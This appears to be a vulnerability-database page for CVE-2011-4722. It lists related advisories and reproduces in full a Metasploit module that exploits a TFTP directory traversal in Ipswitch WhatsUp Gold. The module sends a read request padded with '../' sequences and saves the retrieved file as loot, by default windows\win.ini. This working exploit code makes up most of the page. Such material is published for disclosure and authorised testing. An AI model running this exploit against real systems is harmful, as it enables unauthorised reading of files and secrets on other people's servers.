| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2011-4722 | 2 Dec 201100:00 | – | circl | |
| Ipswitch WhatsUp Gold Directory Traversal Vulnerability | 4 Jan 201500:00 | – | cnvd | |
| CVE-2011-4722 | 28 Dec 201402:00 | – | cve | |
| CVE-2011-4722 | 28 Dec 201402:00 | – | cvelist | |
| HPSBGN3547 rev.2 - HP Device Manager, Remote Read Access to Arbitrary Files | 21 Mar 201600:00 | – | hp | |
| IpSwitch WhatsUp Gold TFTP Directory Traversal | 4 Dec 201100:46 | – | metasploit | |
| CVE-2011-4722 | 28 Dec 201402:59 | – | nvd | |
| Ipswitch TFTP Server 1.0.0.24 Directory Traversal Vulnerability - Active Check | 6 Dec 201100:00 | – | openvas | |
| 📄 Ipswitch WhatsUp Gold 1.0.0.24 Directory Traversal | 9 Mar 202600:00 | – | packetstorm | |
| Directory traversal | 28 Dec 201402:59 | – | prion |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "IpSwitch WhatsUp Gold TFTP Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in IpSwitch WhatsUp
Gold's TFTP service.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Prabhu S Angadi', # Initial discovery and poc
'sinn3r', # Metasploit module
'juan vazquez' # More improvements
],
'References' =>
[
['OSVDB', '77455'],
['BID', '50890'],
['EDB', '18189'],
['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
['CVE', '2011-4722']
],
'DisclosureDate' => '2011-12-12'
))
register_options(
[
Opt::RPORT(69),
OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),
OptBool.new('SAVE', [false, 'Save the downloaded file to disk', false])
])
end
def run_host(ip)
# Prepare the filename
file_name = "../"*10
file_name << datastore['FILENAME']
# Prepare the packet
pkt = "\x00\x01"
pkt << file_name
pkt << "\x00"
pkt << "octet"
pkt << "\x00"
# We need to reuse the same port in order to receive the data
udp_sock = Rex::Socket::Udp.create(
{
'Context' => {'Msf' => framework, 'MsfExploit'=>self}
}
)
add_socket(udp_sock)
# Send the packet to target
file_data = ''
udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
opcode, block, data = r[0].unpack("nna*") # Parse reply
if opcode != 3 # Check opcode: 3 => Data Packet
print_error("Error retrieving file #{file_name} from #{ip}")
return
end
file_data << data
udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack
end
if file_data.empty?
print_error("Error retrieving file #{file_name} from #{ip}")
return
end
udp_sock.close
# Output file if verbose
vprint_line(file_data.to_s)
# Save file to disk
path = store_loot(
'whatsupgold.tftp',
'application/octet-stream',
ip,
file_data,
datastore['FILENAME']
)
print_status("File saved in: #{path}")
end
#
# Returns an Acknowledgement
#
def tftp_ack(block=1)
pkt = "\x00\x04" # Ack
pkt << [block].pack("n") # Block Id
end
end
=begin
Remote code execution might be unlikely with this directory traversal bug, because WRITE
requests are forbidden by default, and cannot be changed.
=end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation